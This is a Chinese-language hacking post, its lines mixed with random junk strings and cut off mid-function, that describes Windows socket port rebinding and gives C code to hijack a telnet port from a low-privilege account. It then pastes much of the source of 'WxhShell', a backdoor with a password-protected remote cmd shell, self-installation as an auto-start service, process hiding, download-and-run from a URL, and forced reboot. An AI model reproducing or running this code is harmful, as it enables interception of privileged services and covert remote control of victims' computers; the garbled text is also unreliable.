在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%:v59:i} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u,zA^% }!5x1F! saddr.sin_family = AF_INET;
"[PxLq5 Zu4|1W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L|y4u;-Q F{:ZHCm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0XrB+nt Ub0hISA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!)jw o=l}J W+A-<Rh\ 这意味着什么?意味着可以进行如下的攻击:
tQSj[Yl 4%8}vCs 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xiu?BP?V 4"OUmh9LHB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
egBjr? p2c4 <f-M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j\^0BTZ 1g_(xwUp+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i6"/GSA
IETdL{`~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
q P<n< Sv*@ 3x 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3)F9:Tzw1 Cm~h\+" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\9U4V>p b#**`Y #include
?4X8l@fR #include
;(a\F #include
5yvaY
"B #include
FmfPi
.;1 DWORD WINAPI ClientThread(LPVOID lpParam);
?'xTSAn int main()
"6T: &> {
5ryzAB O\2 WORD wVersionRequested;
=j)y.x( DWORD ret;
@S/PB[%S WSADATA wsaData;
q|E0Y BOOL val;
R^%uEP SOCKADDR_IN saddr;
*cjH]MQ0Ak SOCKADDR_IN scaddr;
e
~X<+3< int err;
5^Gv!XW SOCKET s;
OH.Re6Rr SOCKET sc;
Bg^k~NX% int caddsize;
z*Y4t?+ HANDLE mt;
kmJ{(y)w DWORD tid;
PGT*4r21 wVersionRequested = MAKEWORD( 2, 2 );
@W\y#5"B err = WSAStartup( wVersionRequested, &wsaData );
#n= b*. if ( err != 0 ) {
~~U2Sr printf("error!WSAStartup failed!\n");
G2FP|mf, return -1;
$rB20! }
-IBf;"8f saddr.sin_family = AF_INET;
|!r.p_Zt M`W%nvEDE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O"otzla 5lp
L$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!i0jk,[B= saddr.sin_port = htons(23);
G P"(+5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oB9t&yM {
wi#]*\N\9 printf("error!socket failed!\n");
yOn +Y return -1;
^wL
n }
P]bq9!{1 val = TRUE;
j8@Eqh //SO_REUSEADDR选项就是可以实现端口重绑定的
-Yaw>$nJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
O<3i6 {
>*xa\ve printf("error!setsockopt failed!\n");
^!]Hm&.a return -1;
b8V]/ }
$}d| ~q\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
` [ EzU+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Zk+J= Cwq} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\NYtxGV[Z &9CKI/K: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
dzYB0vut@ {
B,SH9, ret=GetLastError();
7w7mE printf("error!bind failed!\n");
I0 y+,~\ return -1;
o0- 7# 2 }
mU1lEx$ listen(s,2);
WA-`
*m$v while(1)
<!.'"*2 {
eSZS`(#!( caddsize = sizeof(scaddr);
Vp
$] //接受连接请求
}i1p&EN^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
IAt;?4 if(sc!=INVALID_SOCKET)
q #f
U* {
} d /5_X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
KWU
~QAc if(mt==NULL)
)u7*YlU\I {
kJ6=T6s printf("Thread Creat Failed!\n");
s)$N&0\ break;
qvz2u]IOw }
W G2 E3y }
xq:.|{HUk CloseHandle(mt);
[>"bL$tlo* }
\F%5TRoC closesocket(s);
`fEB,0j^ WSACleanup();
mj0{Nd return 0;
PMk3b3)Z }
-bHQy: DWORD WINAPI ClientThread(LPVOID lpParam)
qr%9Sdvx {
)SZt If SOCKET ss = (SOCKET)lpParam;
~LPxVYhK SOCKET sc;
R}F0_. unsigned char buf[4096];
"}UJ~ j). SOCKADDR_IN saddr;
bkkhx,Oi[G long num;
jw$3cwddH DWORD val;
H4LZNko DWORD ret;
W=M`Bkw{ //如果是隐藏端口应用的话,可以在此处加一些判断
oxE'u< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A87JPX#R? saddr.sin_family = AF_INET;
<va3L y)c& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]]{$X_0n saddr.sin_port = htons(23);
SU;PmG4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u2
a
U0k: {
~<Z;)e printf("error!socket failed!\n");
gK/mm\K@ return -1;
V6"<lK8" }
>*H>'O4 val = 100;
ghm5g/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^"\ jIP {
Ed9ynJ~)X ret = GetLastError();
D.o|pTZ return -1;
a&~_ba+ }
pv&:N,p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{g}!M^| {
78>)<$+d ret = GetLastError();
^,')1r, return -1;
* ]~ug%a }
WyVFhAuU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O{a<f7 W {
Zh`lC1l' printf("error!socket connect failed!\n");
(&0%![j& closesocket(sc);
Zws[}G"7h closesocket(ss);
LziEF-_ return -1;
V0 x[sEW }
cc7*O while(1)
?F20\D\V {
0ZPwEP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Pcut#8?
//如果是嗅探内容的话,可以再此处进行内容分析和记录
F+Rtoq| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
|WH'aGG num = recv(ss,buf,4096,0);
| 2BIAm] if(num>0)
0F-X.Dq send(sc,buf,num,0);
TSqfl/UI else if(num==0)
.MkHB0
2N break;
M3@Wb@ num = recv(sc,buf,4096,0);
Hrq1 {3~ if(num>0)
*JE%bQ2Q send(ss,buf,num,0);
Twyx(~'&R else if(num==0)
%`%oupqm+ break;
90> (`pI= }
`rsPIOu closesocket(ss);
Mg;%];2Nt closesocket(sc);
$Z6g/bD`E return 0 ;
mZ
39 s }
dt(~)*~R ;]zV ?9 lY/{X]T.( ==========================================================
0xrr9X< QQUeY2} 下边附上一个代码,,WXhSHELL
\O5`R- Ig75bZz ==========================================================
$&/JY n/#zx:d? #include "stdafx.h"
3ny>5A!;2 }S51yDV G_ #include <stdio.h>
tFt56/4 #include <string.h>
zY~ #include <windows.h>
5vs~8|aRo #include <winsock2.h>
nf&PDv1 #include <winsvc.h>
;q]Jm #include <urlmon.h>
dfY(5Wc+f GL$!JKWp #pragma comment (lib, "Ws2_32.lib")
c7Sa|9*dR #pragma comment (lib, "urlmon.lib")
b/'{6zn 3~Od2nk(x #define MAX_USER 100 // 最大客户端连接数
uc!j`G*] #define BUF_SOCK 200 // sock buffer
S9R(; #define KEY_BUFF 255 // 输入 buffer
fe
PH=C .?R~!K{` #define REBOOT 0 // 重启
iSu7K&X9q #define SHUTDOWN 1 // 关机
w>Iw&US
-SZXUN #define DEF_PORT 5000 // 监听端口
,?k[<C 7S$Am84% #define REG_LEN 16 // 注册表键长度
eqbQ,, & #define SVC_LEN 80 // NT服务名长度
0+MNu8t twElLOE // 从dll定义API
-V0_%Smc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
eJA$J=^R; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
MyB&mC7Es typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u(l[~r>8W; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
rx2?y3pv 3qJOE6[}% // wxhshell配置信息
hw! l{yv struct WSCFG {
C'&)""3d int ws_port; // 监听端口
!z">aIj\6 char ws_passstr[REG_LEN]; // 口令
G2
A#&86J{ int ws_autoins; // 安装标记, 1=yes 0=no
_DsA<SJ] char ws_regname[REG_LEN]; // 注册表键名
YoyJnl.?u char ws_svcname[REG_LEN]; // 服务名
m ;-FP 2~ char ws_svcdisp[SVC_LEN]; // 服务显示名
h}-}!v char ws_svcdesc[SVC_LEN]; // 服务描述信息
`G*7y7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hkV;(Fr&z int ws_downexe; // 下载执行标记, 1=yes 0=no
_5TSI'@.4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y~\71QE> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
su;u_rc, R<.<wQ4I };
~hK7(K F.5'5% // default Wxhshell configuration
Z(DCR/U=(> struct WSCFG wscfg={DEF_PORT,
d: D`rpcC "xuhuanlingzhe",
p F kA, 1,
+UbSqp1BS "Wxhshell",
eewhT^ "Wxhshell",
{gh41G;n "WxhShell Service",
2gM=vaiH= "Wrsky Windows CmdShell Service",
kFKc9}7W "Please Input Your Password: ",
Mo?eVtZ 1,
s~e<Pr?yu "
http://www.wrsky.com/wxhshell.exe",
4=/5 "Wxhshell.exe"
hRAI7xk };
7P1G^) a&:1W83 // 消息定义模块
;pe1tp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H$'|hUwds% char *msg_ws_prompt="\n\r? for help\n\r#>";
U\aP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\7b-w81M- char *msg_ws_ext="\n\rExit.";
+B(x:hzY9 char *msg_ws_end="\n\rQuit.";
{UqS q char *msg_ws_boot="\n\rReboot...";
wM.z/r\p char *msg_ws_poff="\n\rShutdown...";
g4b-~1[S char *msg_ws_down="\n\rSave to ";
?LJ$:u fP3e{dVf char *msg_ws_err="\n\rErr!";
cs[_TJo char *msg_ws_ok="\n\rOK!";
EWOS6Yg7 p7 s#j char ExeFile[MAX_PATH];
kc*zP= int nUser = 0;
)Z6bMAb0'N HANDLE handles[MAX_USER];
ZEY="pf int OsIsNt;
TljN!nv] q5
eyle6 SERVICE_STATUS serviceStatus;
#I>
c$dd SERVICE_STATUS_HANDLE hServiceStatusHandle;
HI iMq'H^ WM y97*L< // 函数声明
+*u'vt? int Install(void);
590.mCm int Uninstall(void);
3OnIAk3 int DownloadFile(char *sURL, SOCKET wsh);
<JtH/oN int Boot(int flag);
Bmx+QO void HideProc(void);
[zXKS| int GetOsVer(void);
oCtg{*vp int Wxhshell(SOCKET wsl);
$cl[Qcw void TalkWithClient(void *cs);
;]*V6!6RR int CmdShell(SOCKET sock);
wQ1_Q8 :Z int StartFromService(void);
'Br:f_} int StartWxhshell(LPSTR lpCmdLine);
y 98v s|er+-' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
qHwHP 1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
'ec G:B`S (!b_o A8V // 数据结构和表定义
UI:YzR SERVICE_TABLE_ENTRY DispatchTable[] =
SZUhZIz& {
\YUl$d0 {wscfg.ws_svcname, NTServiceMain},
5ggmS<= {NULL, NULL}
{
'A`ram };
'iQ &d,chb( // 自我安装
~nit~; int Install(void)
`As|MYv {
D$X9xtT char svExeFile[MAX_PATH];
7
s+j) HKEY key;
#Z;6f{yWf strcpy(svExeFile,ExeFile);
8H2zMIB 3k YVk // 如果是win9x系统,修改注册表设为自启动
N$'/J-^ if(!OsIsNt) {
2!-? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q1ox<- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7RXTQ9BS RegCloseKey(key);
~\vGwy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\VY!= 9EV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jM<=>P RegCloseKey(key);
/"~ D(bw0= return 0;
ZtzSG@f }
QuF76&)7 }
Xk2M.:3` }
{?2jvv else {
N=2BrKb)o rw CFt6;v // 如果是NT以上系统,安装为系统服务
rbC4/ 9G\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!T+jb\O_ if (schSCManager!=0)
cL+--$L {
Mn)>G36( SC_HANDLE schService = CreateService
Oup5LH!sW (
p#14 schSCManager,
bxxazsj^ wscfg.ws_svcname,
';H"Ye:D=7 wscfg.ws_svcdisp,
O
&/9wi>!q SERVICE_ALL_ACCESS,
r'TxYM-R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[_$r- FA SERVICE_AUTO_START,
:eK(9o SERVICE_ERROR_NORMAL,
l ~bjNhk svExeFile,
)7X+T'?% NULL,
B: '}SA{ NULL,
6CQ.>M:R NULL,
$5(_U NULL,
-|1H-[Y( NULL
w@K4u{| );
W|~Jl7hs8Q if (schService!=0)
#=}dv8 {
=O~ J CloseServiceHandle(schService);
sObH#/l` CloseServiceHandle(schSCManager);
7z.(pg= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O~p@87aq strcat(svExeFile,wscfg.ws_svcname);
}"$2F0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A~2U9f+\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
t>f61<27eB RegCloseKey(key);
FWi c/7 return 0;
g&79?h4UXQ }
t h!$R }
,5Vc
CloseServiceHandle(schSCManager);
>rbHpLm1` }
8Ce|Q8<8] }
y15 MWZ [>P9_zID return 1;
$A4rdhvd }
jb~W(8cj tEU}?k+:j) // 自我卸载
8LI
aN} int Uninstall(void)
dwH8Zg$B {
T9s$IS , HKEY key;
|E&
Fe8 g431+O0K1 if(!OsIsNt) {
\tpJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PZT]H? RegDeleteValue(key,wscfg.ws_regname);
rP5&&Hso RegCloseKey(key);
<>|&%gmz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5}
v(Ks> RegDeleteValue(key,wscfg.ws_regname);
+%O_xqq RegCloseKey(key);
P^lzl:| return 0;
/mi9q }
\2UtT@3|C }
SxX2+|0g`g }
S.: m$s else {
n]G_#
; eT(/D/jan SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r Jo8| if (schSCManager!=0)
V`ODX>\ {
ZWtlO P#] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/w!!jj^ if (schService!=0)
8fG$><@ {
bqo+b{i\ if(DeleteService(schService)!=0) {
O#}d!}SIp CloseServiceHandle(schService);
[N35.O6P6u CloseServiceHandle(schSCManager);
F!>92H~3G return 0;
gI~4A, }
AQUl:0! CloseServiceHandle(schService);
"8.to=Lx }
_f"HUKGN CloseServiceHandle(schSCManager);
LTn@OhC }
nV[0O8p2Md }
: ~RY B%]yLJ return 1;
A:-M RhE9X }
nnzfKn:J jfLkp>2E' // 从指定url下载文件
|D@/4B1P int DownloadFile(char *sURL, SOCKET wsh)
Z(|@C(IL0\ {
mQbpv'N HRESULT hr;
Mk3~%` char seps[]= "/";
`Kt]i5[ " char *token;
T>~D(4r|pS char *file;
Ky r3)1#J char myURL[MAX_PATH];
6~oo.6bA char myFILE[MAX_PATH];
u{asKUce\ 6\+ZTw strcpy(myURL,sURL);
=do*( token=strtok(myURL,seps);
HsF8$C$z while(token!=NULL)
!R
b {
~x(1g;!^ file=token;
p aQ"[w token=strtok(NULL,seps);
b}f#[* Z }
k@[P\(a3b *X_-8 ^~ GetCurrentDirectory(MAX_PATH,myFILE);
-(Zi strcat(myFILE, "\\");
#4yh-D" strcat(myFILE, file);
>`0l"K< send(wsh,myFILE,strlen(myFILE),0);
Gz_[|,i send(wsh,"...",3,0);
&7fwYV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(G E) if(hr==S_OK)
u|G&CV#r return 0;
vqeWt[W
v else
XEUy,>mR return 1;
F2N)|C< 9s.x%m, }
_EusY3q |}FK;@'I 6 // 系统电源模块
rnkq. int Boot(int flag)
Lddk:u&J {
-&7\do< HANDLE hToken;
`U.VfQR: TOKEN_PRIVILEGES tkp;
u%s@B1j y8HwyU> if(OsIsNt) {
K3; lst>4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n[E#K`gg' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f%g^6[ tkp.PrivilegeCount = 1;
=V[ey tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.5tE, (<? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Uo~-^w} if(flag==REBOOT) {
q
n6ws if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L@&(> return 0;
`R\nw)xq }
Miw*L;u@W else {
xn&$qLB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@)IHd6 R return 0;
qH8d3?1XO }
TwaK>t96[ }
ZaZm$.s n else {
`Z'h[-2` if(flag==REBOOT) {
}|Ao@UvH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4t]YHLBS return 0;
<mk'n6B }
VEc^Ap1?' else {
9>OPaLn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
W5f|#{&L: return 0;
(b*PDhl`+ }
b@>MA }
q!O B?03n !D \u2h return 1;
JO&~mio }
} 5nVZ; Vzmw%f)_+ // win9x进程隐藏模块
^'Z?BK void HideProc(void)
%77X/%.Y {
>Av[`1a2F Jfe<$-$$7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
G9YfJ?I if ( hKernel != NULL )
YWK|AT-4 {
89kxRH\IhG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
X9S`#N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
- Mubq FreeLibrary(hKernel);
[2l2w[7Rid }
C-:lM1 WxrGoo^ return;
"{@Q..hxC }
xl]1{$1M nl\l7/}6 // 获取操作系统版本
e{}oQK int GetOsVer(void)
2K~<_.S {
->rr4xaK C OSVERSIONINFO winfo;
}iE!(
l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YPU*T&~ GetVersionEx(&winfo);
[J-uvxD if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
c2o.H!> return 1;
{: H&2iF else
~M!9E]) return 0;
j]X$7 }
^F? }MY> 1OOMqFn} L // 客户端句柄模块
er44s^$ int Wxhshell(SOCKET wsl)
cOz/zD
f5 {
O'L9 s>B SOCKET wsh;
$[*QsU%% struct sockaddr_in client;
CwL8-z0 Jn DWORD myID;
pOKs VS%fT <,:5d2mM. while(nUser<MAX_USER)
NE1n 9 {
.G~Y`0 int nSize=sizeof(client);
_s%;GWj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[WXa]d5Y if(wsh==INVALID_SOCKET) return 1;
yOdh?:Imv uA]!y{"}J
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e,cSB!7 if(handles[nUser]==0)
4Y/kf%]]A closesocket(wsh);
0g{`Qd else
j YVR"D; nUser++;
JsA.jqkB }
[zw0'-h. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dR|*VT\ d>wpG^"w return 0;
u6lcl}' }
9!u&8#i =K:)%Qh // 关闭 socket
tSf$`4 void CloseIt(SOCKET wsh)
:g~X"C1s {
PZ[hH(EX closesocket(wsh);
'&+5L. nUser--;
"WfVZBWG$ ExitThread(0);
5%#V>|@e# }
nPRv.h xJ(}?0h-X // 客户端请求句柄
n8RE void TalkWithClient(void *cs)
a@v}j& {
O>tz;RU ,"xr^@W SOCKET wsh=(SOCKET)cs;
V\6V&_ char pwd[SVC_LEN];
; VH:dg char cmd[KEY_BUFF];
nb|KIW char chr[1];
7mT
iO?/y< int i,j;
TYH4r q
& ,3P@5Ef while (nUser < MAX_USER) {
bSvr8FY3d >2BWie?T if(wscfg.ws_passstr) {
H)rE-7(f! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9,J^tN@^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
- xE%`X //ZeroMemory(pwd,KEY_BUFF);
7mBH#Q) i=0;
g=)OcTd# while(i<SVC_LEN) {
ZT
d)4f b uOpHQn // 设置超时
*Ud=x^JxO fd_set FdRead;
Ucqn3& struct timeval TimeOut;
!+H)N FD_ZERO(&FdRead);
>X58 zlxk FD_SET(wsh,&FdRead);
`iZ){JfAH TimeOut.tv_sec=8;
WFm\ bZ. TimeOut.tv_usec=0;
=#so[Pd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hYSzr-) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xN +Oca x;@wtd*QB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!l|fzS8g pwd
=chr[0]; *u ^m f~
if(chr[0]==0xd || chr[0]==0xa) { w'Vm'zo
pwd=0; .EB'n{zxd
break; IZSJ+KO
} <nk7vo?Ks
i++; e anR$I;Yj
}
<_>xkQbn2
VOkSR6
// 如果是非法用户,关闭 socket Gv\:Agi
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j0uu*)Rk
} u5O`|I@R
S9kA69O
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N?j#=b+D
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lK"m|Z
$VNj0i. Pr
while(1) { yR$ld.[uf
l#|wF$J
ZeroMemory(cmd,KEY_BUFF); u.rFZu?E\
0U&@;/?
// 自动支持客户端 telnet标准 iyJx~:
j=0; 6qK`X
while(j<KEY_BUFF) { \u$[ $R5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !L3\B_#
cmd[j]=chr[0]; DcRvZH
if(chr[0]==0xa || chr[0]==0xd) { E5QQI9ea
cmd[j]=0; ZGsI\3S
break; zXZXp~7)
} ~kp,;!^vr
j++;
i38`2
} +[B@83
(,I9|
// 下载文件 p?V@P6h
if(strstr(cmd,"http://")) { a\ZNN k
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c1sVdM}|
if(DownloadFile(cmd,wsh)) G/N 1[)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E2i'lO\P
else :>K8oE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t->I# t7
}
}'WEqNuE
else { 9,cMb)=0
n%K^G4k^
switch(cmd[0]) { rGmxK|R
z]HaE|j}S
// 帮助 1{-yF :A
case '?': { bR'UhPs-8;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 36MNaQt'e
break; %?m_;iv
} 6mmc{kw'
// 安装 pg.BOz\'q
case 'i': { K};~A?ET,h
if(Install()) a98J_^ n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TOw;P:-
else QX$3"AZ~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;:1o|>mX
break; c|s7cG$+-
} +5"Pm]oRbx
// 卸载 N1yx|g:
case 'r': { $!7$0WbC
if(Uninstall()) C$4!|Wg3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BFswqp:
else a\B'Qe+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SsCV}[
break; x(7Q5Uk\
} vw6DHN)k
// 显示 wxhshell 所在路径 fk2p}
case 'p': { L>&9+<-B
char svExeFile[MAX_PATH]; c&'5r OY~
strcpy(svExeFile,"\n\r"); +'9E4Lpx
strcat(svExeFile,ExeFile); agd^ga3
send(wsh,svExeFile,strlen(svExeFile),0); D9JHx+Xf>
break; UIC~%?oIA
} q$'D}OH T
// 重启 k!py*noy
case 'b': { a: 2ezxP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _6.Y3+7I
if(Boot(REBOOT)) |_mN:(3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0y`r.)G
else { 9@>Q7AUCQ
closesocket(wsh); nLY(%):(P
ExitThread(0); zALtG<_t
} x7!gmbMfK'
break; Ejj+%)n.
} QxT\_Nej*n
// 关机 oVQbc\P3
case 'd': { R!rj:f!>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~EM(*k._
if(Boot(SHUTDOWN)) &AnWMFo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^)w$UL}}
else { LRqlK\
closesocket(wsh); j8W<iy
ExitThread(0); 0M!GoqaA
} m,)o&ix1
break; NH<~BC]I
} k:8NOx|s "
// 获取shell t"?)x&dS
case 's': { $]gflAe2
CmdShell(wsh); Gq-~zmg
closesocket(wsh); (,D:6(R7t
ExitThread(0); Xi0fX$-,
break; g(dReC
} LZDJ\"a-
// 退出 INY?@in
case 'x': { rE%HNPO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )]C(NTfxg
CloseIt(wsh); d:{}0hmxI
break; S]Ye`
} 6&o?#l;|
// 离开 *p0Kw>
case 'q': { Sym}#F\s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]]P@*4!
closesocket(wsh); 4"veq rC
WSACleanup(); 9V|)3GF
exit(1); U(2=fKK;
break; o ~M=o:^nH
} ajW2HH*9}A
} ?5;N=\GQ
} RZ|M;c
C!U$<_I\2
// 提示信息 >D%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |nBs(>b
} U |Uc|6
} XTRF IY
]CDUHz
return; uH)?`I\zrd
} .'NTy
R
+F*h\4ry#
// shell模块句柄 q6}KOO)
int CmdShell(SOCKET sock) " c+$GS
{ u82 (`+B
STARTUPINFO si; J,J6bfR/
ZeroMemory(&si,sizeof(si)); CA5T3J@vAQ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a n0n8l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $'<FPbUtD}
PROCESS_INFORMATION ProcessInfo; }Fsr"RER@{
char cmdline[]="cmd"; C;~LY&=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S6Y:Z0
return 0; $\q.Zb
} f)mOeD*u|
0O a&vx
// 自身启动模式 n=?wX#rEC#
int StartFromService(void) 10xza=a
{ ,(&Fb~r]
typedef struct 3taGb>15
{ 2R W~jn"
DWORD ExitStatus; frc9
DWORD PebBaseAddress; }X. Fm'`
DWORD AffinityMask; )Y6\"-M[
DWORD BasePriority; Z5
7.+z<
ULONG UniqueProcessId; 2.vmZaKP
